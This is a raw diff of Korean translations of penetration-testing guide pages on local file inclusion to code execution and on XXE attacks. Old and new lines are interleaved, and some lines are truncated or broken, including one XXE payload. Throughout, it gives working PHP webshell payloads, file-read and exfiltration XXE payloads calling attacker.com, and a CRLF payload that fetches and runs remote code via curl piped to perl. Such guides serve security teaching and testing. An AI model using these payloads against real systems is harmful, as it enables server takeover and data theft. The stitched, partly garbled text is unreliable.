이것은 다른 로그에서도 수행할 수 있지만 **주의하세요**, 로그 내의 코드는 URL 인코딩될 수 있으며, 이는 쉘을 파괴할 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 "user:password"를 포함하며, 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 내에 삽입될 수 있습니다.\
작업은 다른 로그에서도 수행할 수 있지만 **주의하세요.** 로그 내의 코드는 URL 인코딩될 수 있으며, 이는 쉘을 파괴할 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 "user:password"를 포함하고 있으며, 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 내에 삽입될 수 있습니다.\
다른 가능한 로그 경로:
```python
/var/log/apache2/access.log
@ -452,12 +498,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### 이메일을 통한 방법
**내부 계정(user@localhost)으로 메일을 보내고** PHP 페이로드를 포함니다. 예: `<?php echo system($_REQUEST["cmd"]); ?>` 그리고 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로를 사용하여 사용자의 메일에 포함시키도록 시도합니다.
**내부 계정(user@localhost)으로 메일을 보내고** PHP 페이로드를 포함시킵니다. 예: `<?php echo system($_REQUEST["cmd"]); ?>` 그리고 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로를 사용하여 사용자의 메일에 포함시키도록 시도합니다.
### /proc/\*/fd/\*를 통한 방법
1. 많은 쉘을 업로드합니다 (예: 100개)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함합니다. 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고, $FD는 파일 디스크립터(무차별 대입 가능)입니다.
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함시킵니다. 여기서 $PID는 프로세스의 PID(무작위로 추측 가능)이고, $FD는 파일 디스크립터(무작위로 추측 가능)입니다.
### /proc/self/environ을 통한 방법
@ -466,7 +512,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### 업로드를 통한 방법
파일을 업로드할 수 있다면, 그 안에 쉘 페이로드를 주입하세요 (예: `<?php system($_GET['c']); ?>`).
```
@ -474,7 +520,7 @@ http://example.com/index.php?page=path/to/uploaded/file.png
```
파일을 읽기 쉽게 유지하기 위해서는 사진/doc/pdf의 메타데이터에 주입하는 것이 가장 좋습니다.
### Zip 파일 업로드를 통한 방법
### Zip 파일 업로드를 통
PHP 셸이 압축된 ZIP 파일을 업로드하고 접근합니다:
```python
@ -492,11 +538,11 @@ PHP에서는 이러한 세션이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
쿠키를 `<?php system('cat /etc/passwd');?>`로 설정합니다.
쿠키를 `<?php system('cat /etc/passwd');?>`로 설정하세요.
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFI를 사용하여 PHP 세션 파일을 포함합니다.
PHP 세션 파일을 포함하기 위해 LFI를 사용하세요.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
@ -513,7 +559,7 @@ FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Loc
### Via php base64 filter (using base64)
[](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, 단순히 "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
[](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
**로컬 파일 포함**을 발견했더라도 **세션이 없고** `session.auto_start``Off`인 경우, **`PHP_SESSION_UPLOAD_PROGRESS`**를 **multipart POST** 데이터에 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
**로컬 파일 포함**을 발견했지만 **세션이 없고** `session.auto_start``Off`인 경우에도 가능합니다. **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
{{#ref}}
via-php_session_upload_progress.md
@ -561,13 +607,13 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
[**이 게시물에서 설명된 바와 같이**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php 도커 이미지에 기본적으로 존재합니다. 또한, URL 매개변수에 `=`가 없으면 인수로 사용해야 한다고 명시되어 있기 때문에 URL을 통해 스크립트에 인수를 전달할 수 있습니다.
[**이 게시물에서 설명된 바와 같이**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php 도커 이미지에 기본적으로 존재합니다. 또한, URL을 통해 스크립트에 인수를 전달할 수 있는 가능성이 있으며, URL 매개변수에 `=`가 없으면 인수로 사용해야 한다고 명시되어 있습니다.
다음 요청은 `/tmp/hello.php``<?=phpinfo()?>`라는 내용을 가진 파일을 생성합니다:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
다음은 CRLF 취약점을 악용하여 RCE를 얻는 방법입니다 (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
다음은 CRLF 취약점을 악용하여 RCE를 얻는 방법입니다 (자세한 내용은 [**여기**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)에서 확인하세요):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -576,7 +622,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
**로컬 파일 포함**을 발견하고 file_uploads = on인 **phpinfo()**를 노출하는 파일을 찾으면 RCE를 얻을 수 있습니다:
**로컬 파일 포함**이 발견되고 **phpinfo()**를 노출하는 파일이 file_uploads = on인 경우 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-phpinfo.md
@ -584,7 +630,7 @@ lfi2rce-via-phpinfo.md
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
**로컬 파일 포함**을 발견하고 **임시 파일의 경로를 유출할 수 있지만** **서버**가 **포함할 파일에 PHP 마크가 있는지 확인**하는 경우, 이 **경쟁 조건**을 사용하여 **그 검사를 우회**할 수 있습니다:
**로컬 파일 포함**이 발견되고 **임시 파일의 경로를 추출할 수 있지만** **서버**가 **포함할 파일에 PHP 마크가 있는지 확인**하는 경우, 이 **경쟁 조건**을 사용하여 **그 검사를 우회**할 수 있습니다:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -600,7 +646,7 @@ lfi2rce-via-eternal-waiting.md
### To Fatal Error
`/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 하나의 파일을 포함하면 됩니다. (그 오류를 발생시키기 위해 같은 파일을 2번 포함해야 합니다).
`/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 하나의 파일을 포함하면 됩니다. (같은 파일을 2번 포함해야 그 오류가 발생합니다).
**이것이 어떻게 유용한지는 모르겠지만, 유용할 수 있습니다.**\
_비록 PHP 치명적 오류를 발생시켜도, 업로드된 PHP 임시 파일은 삭제됩니다._
@ -611,6 +657,8 @@ _비록 PHP 치명적 오류를 발생시켜도, 업로드된 PHP 임시 파일
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -7,9 +7,9 @@
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. XML은 미리 정의된 태그 집합에 제한되지 않기 때문에 HTML과 다릅니다. JSON의 부상으로 XML의 중요성은 감소했지만, AJAX 기술에서의 초기 역할은 여전히 중요합니다.
- **데이터 표현을 위한 엔티티**: XML의 엔티티는 `&lt;``&gt;`와 같은 특수 문자를 포함한 데이터 표현을 가능하게 하며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 `<``>`에 해당합니다.
- **XML 요소 정의**: XML은 요소 유형을 정의할 수 있으며, 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
- **XML 요소 정의**: XML은 요소 유형을 정의할 수 있게 하여 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
- **문서 유형 정의 (DTD)**: DTD는 XML에서 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 중요합니다. DTD는 내부, 외부 또는 조합으로 존재할 수 있으며, 문서의 형식과 유효성을 안내합니다.
- **사용자 정의 및 외부 엔티티**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 보안 문제를 일으킬 수 있으며, 특히 XML 외부 엔티티(XXE) 공격의 맥락에서 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **사용자 정의 및 외부 엔티티**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 보안 문제를 일으며, 특히 XML 외부 엔티티(XXE) 공격의 맥락에서 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **매개변수 엔티티를 통한 XXE 탐지**: XXE 취약점을 탐지하기 위해, 특히 파서 보안 조치로 인해 기존 방법이 실패할 때 XML 매개변수 엔티티를 활용할 수 있습니다. 이러한 엔티티는 DNS 조회 또는 제어된 도메인에 대한 HTTP 요청을 트리거하는 등의 비대면 탐지 기술을 허용하여 취약성을 확인합니다.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -49,7 +49,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
이 세 번째 경우에서 우리는 `Element stockCheck`를 ANY로 선언하고 있음을 주목하세요.
이 세 번째 경우에서 `Element stockCheck`를 ANY로 선언하고 있음을 주목하세요.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
@ -65,10 +65,10 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설
### 디렉토리 목록
**Java** 기반 애플리케이션에서는 XXE를 통해 **디렉토리의 내용을 나열**할 수 있는 가능성이 있으며, 다음과 같은 페이로드를 사용할 수 있습니다 (파일 대신 디렉토리를 요청하는 경우):
**Java** 기반 애플리케이션에서는 XXE를 통해 **디렉토리의 내용을 나열하는 것**이 가능할 수 있습니다. 페이로드는 다음과 같이 (파일 대신 디렉토리를 요청하는 형태로):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
@ -91,9 +91,9 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
```
### "Blind" SSRF - Exfiltrate data out-of-band
**이번 경우에는 서버가 HTTP 요청을 통해 파일의 내용을 전송하는 악성 페이로드가 포함된 새로운 DTD를 로드하도록 만들 것입니다 (다중 행 파일의 경우 \_ftp://**\_를 통해 탈출을 시도할 수 있습니다. 예를 들어 이 기본 서버 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**를 사용할 수 있습니다). 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
**이번 경우에는 서버가 악성 페이로드가 포함된 새로운 DTD를 로드하도록 하여 파일의 내용을 HTTP 요청을 통해 전송하게 할 것입니다 (다중 라인 파일의 경우 \_ftp://**\_를 통해 전송을 시도할 수 있습니다. 예를 들어 이 기본 서버 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**를 사용할 수 있습니다). 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
주어진 악성 DTD에서는 데이터를 출하기 위해 일련의 단계가 수행됩니다:
주어진 악성 DTD에서는 데이터를 출하기 위해 일련의 단계가 수행됩니다:
### Malicious DTD Example:
@ -127,7 +127,7 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
**이 경우, 서버가 오류 메시지 내에서 파일의 내용을 표시하는 악성 DTD를 로드하도록 만들 것입니다(이는 오류 메시지를 볼 수 있는 경우에만 유효합니다).** [**여기서 예시.**](https://portswigger.net/web-security/xxe/blind)
악성 외부 문서 유형 정의(DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 유발할 수 있습니다. 이는 다음 단계로 수행됩니다:
악성 외부 문서 유형 정의(DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 트리거할 수 있습니다. 이는 다음 단계로 수행됩니다:
1. `/etc/passwd` 파일의 내용을 포함하는 `file`이라는 XML 매개변수 엔티티가 정의됩니다.
2. `eval`이라는 XML 매개변수 엔티티가 정의되며, 이는 `error`라는 또 다른 XML 매개변수 엔티티에 대한 동적 선언을 포함합니다. 이 `error` 엔티티는 평가될 때 존재하지 않는 파일을 로드하려고 시도하며, `file` 엔티티의 내용을 이름으로 포함합니다.
@ -148,11 +148,11 @@ _**외부 DTD는 두 번째 `eval` 내에 하나의 엔티티를 포함할 수
### **오류 기반 (시스템 DTD)**
그렇다면 **외부 상호작용이 차단된** 블라인드 XXE 취약점은 어떻게 될까요(외부 연결이 불가능한 경우)?
그렇다면 **외부 연결이 차단된** 블라인드 XXE 취약점은 어떻게 됩니까?
XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다**. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격의 실행을 용이하게 합니다. 이러한 공격은 원래 외부 DTD에서 선언된 XML 매개변수 엔티티의 재정의를 악용하여 발생합니다. 서버에 의해 외부 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다.
XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다**. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격을 실행할 수 있게 합니다. 이러한 공격은 원래 외부 DTD에서 선언된 XML 매개변수 엔티티의 재정의를 악용합니다. 서버에 의해 외부 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다.
서버의 파일 시스템에 `/usr/local/app/schema.dtd`DTD 파일이 포함되어 있고, `custom_entity`라는 엔티티를 정의하고 있다고 가정해 보겠습니다. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:
서버의 파일 시스템에 `/usr/local/app/schema.dtd``custom_entity`라는 엔티티를 정의하는 DTD 파일이 있다고 가정해 보십시오. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -167,11 +167,11 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을
```
이 DTD에 의해 설명된 단계가 실행됩니다:
- `local_dtd`라는 XML 매개변수 엔티티의 정의는 서버의 파일 시스템에 위치한 외부 DTD 파일이 포함됩니다.
- `local_dtd`라는 XML 매개변수 엔티티의 정의는 서버의 파일 시스템에 위치한 외부 DTD 파일을 포함합니다.
- 외부 DTD에서 원래 정의된 `custom_entity` XML 매개변수 엔티티에 대한 재정의가 발생하여 [오류 기반 XXE 익스플로잇](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 캡슐화합니다. 이 재정의는 구문 오류를 유발하도록 설계되어 `/etc/passwd` 파일의 내용을 노출합니다.
- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 `custom_entity`가 포함됩니다. 이 일련의 작업은 익스플로잇을 위해 목표로 하는 오류 메시지를 발생시킵니다.
- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되며, 새로 정의된 `custom_entity`를 포함합니다. 이 일련의 작업은 익스플로잇을 위해 목표로 하는 오류 메시지를 발생시킵니다.
**실제 사례:** GNOME 데스크탑 환경을 사용하는 시스템은 종종 `/usr/share/yelp/dtd/docbookx.dtd``ISOamso`라는 엔티티가 포함된 DTD를 가지고 있습니다.
**실제 사례:** GNOME 데스크탑 환경을 사용하는 시스템은 종종 `/usr/share/yelp/dtd/docbookx.dtd``ISOamso`라는 엔티티를 포함하는 DTD를 가지고 있습니다.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -188,7 +188,7 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을
```
![](<../images/image (625).png>)
이 기술은 **내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다**. 이를 위해 **서버가 사용하는 동일한 OS / 소프트웨어를 설치하고** **일부 기본 DTD를 검색하거나**, **시스템 내의 기본 DTD 목록을 가져와서** **그 중 어떤 것이 존재하는지 확인할 수 있습니다**:
이 기술은 **내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다**. 이를 위해 **서버가 사용하는 동일한 OS / 소프트웨어를 설치하고** **기본 DTD를 검색하거나**, **시스템 내의 기본 DTD 목록을 가져와서** **그 중 어떤 것이 존재하는지 확인할 수 있습니다**:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -219,13 +219,13 @@ Testing 0 entities : []
```
### XXE via Office Open XML Parsers
이 공격에 대한 더 깊 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**.
이 공격에 대한 더 깊이 있는 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**.
**Microsoft Office 문서를 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이러한 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.
**Microsoft Office 문서를 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.
이 취약점을 테스트하기 위해서는 **XXE 페이로드가 포함된 Microsoft Office 파일을 생성해야 합니다**. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 만드는 것입니다.
문서의 압축이 해제되면 `./unzipped/word/document.xml`에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML은 원하는 XXE 페이로드를 포함하도록 수정되어야 하며, 종종 HTTP 요청으로 시작합니다.
문서가 압축 해제되면 `./unzipped/word/document.xml`에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML은 원하는 XXE 페이로드를 포함하도록 수정되어야 하며, 종종 HTTP 요청으로 시작합니다.
수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 교체하는 것이 중요합니다.
@ -245,19 +245,19 @@ jar:https://download.host.com/myarchive.zip!/file.txt
PKZIP 아카이브 내의 파일에 접근하는 과정은 여러 단계를 포함합니다:
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다, 예를 들어 `https://download.website.com/archive.zip`.
2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장되며, 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다.
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다. 예: `https://download.website.com/archive.zip`.
2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장됩니다. 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다.
3. 아카이브가 추출되어 그 내용을 접근합니다.
4. 아카이브 내의 특정 파일인 `file.zip`이 읽힙니다.
5. 작업 후, 이 과정에서 생성된 임시 파일은 삭제됩니다.
이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. [이 저장소](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)에서 사용할 수 있는 도구들, 예를 들어 Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`),을 이 목적을 위해 활용할 수 있습니다.
이 과정의 두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 무한정 열어두는 것입니다. [이 저장소](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)에서 사용할 수 있는 도구로는 Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 있습니다.
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
> [!CAUTION]
> 임시 디렉토리에 파일을 작성하는 것은 **경로 탐색과 관련된 다른 취약점을 악용하는 데 도움이 될 수 있습니다** (예: 로컬 파일 포함, 템플릿 주입, XSLT RCE, 역직렬화 등).
> 임시 디렉토리에 파일을 작성하는 것은 **경로 탐색과 관련된 다른 취약점을 상승시키는 데 도움이 될 수 있습니다** (예: 로컬 파일 포함, 템플릿 주입, XSLT RCE, 역직렬화 등).
### XSS
```xml
@ -310,9 +310,9 @@ Responder.py -I eth0 -v
### XInclude
서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우, XML 구조에 대한 직접적인 제어는 종종 제한되어 `DOCTYPE` 요소를 수정하는 데 제한이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 `XInclude` 공격은 XML 문서의 모든 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터의 일부만 제어할 수 있을 때도 효과적입니다.
서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우 XML 구조에 대한 직접적인 제어가 종종 제한되어 `DOCTYPE` 요소를 수정하는 데 제한이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 `XInclude` 공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터의 일부만 제어할 수 있을 때도 효과적입니다.
`XInclude` 공격을 실행하려면 `XInclude` 네임스페이스를 선언하고, 의도된 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 그러한 공격을 어떻게 구성할 수 있는지에 대한 간결한 예입니다:
`XInclude` 공격을 실행하려면 `XInclude` 네임스페이스를 선언하고 의도된 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 그러한 공격을 어떻게 구성할 수 있는지에 대한 간결한 예입니다:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -320,9 +320,9 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
### SVG - 파일 업로드
사용자가 특정 애플리케이션에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식의 취약점을 악용할 수 있습니다. DOCX와 같은 일반적인 파일 형식과 이미지(SVG)는 XML을 기반으로 합니다.
사용자가 특정 애플리케이션에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식의 취약점을 악용할 수 있습니다. 일반적인 파일 형식인 오피스 문서(DOCX)와 이미지(SVG)는 XML을 기반으로 합니다.
사용자가 **이미지를 업로드할 때**, 이러한 이미지는 서버 측에서 처리되거나 검증됩니다. PNG 또는 JPEG와 같은 형식을 기대하는 애플리케이션에**서버의 이미지 처리 라이브러리 SVG 이미지를 지원할 수 있습니다**. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE(XML External Entity) 취약점에 노출시킬 수 있습니다.
사용자가 **이미지를 업로드할 때**, 이러한 이미지는 서버 측에서 처리되거나 검증됩니다. PNG 또는 JPEG와 같은 형식을 기대하는 애플리케이션의 경우에도 **서버의 이미지 처리 라이브러리 SVG 이미지를 지원할 수 있습니다**. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE(XML External Entity) 취약점에 노출시킬 수 있습니다.
아래는 시스템 파일을 읽으려는 악성 SVG 이미지의 예시입니다:
```xml
@ -358,7 +358,7 @@ Content-Length: 7
foo=bar
```
다음 요청을 제출할 수 있을 것입니다. 결과는 동일합니다:
렇다면 다음 요청을 제출할 수 있을 것입니다. 결과는 동일합니다:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -404,7 +404,7 @@ Content-Type: application/xml;charset=UTF-8
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
이것은 XML 서버가 `data://` 프로토콜을 수용할 때만 작동합니다.
이것은 XML 서버가 `data://` 프로토콜을 수용하는 경우에만 작동합니다.
### UTF-7
@ -420,17 +420,17 @@ Content-Type: application/xml;charset=UTF-8
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### File:/ Protocol Bypass
### File:/ 프로토콜 우회
웹이 PHP를 사용하고 있다면, `file:/` 대신 **php wrappers**`php://filter/convert.base64-encode/resource=`를 사용하여 **내부 파일**에 접근할 수 있습니다.
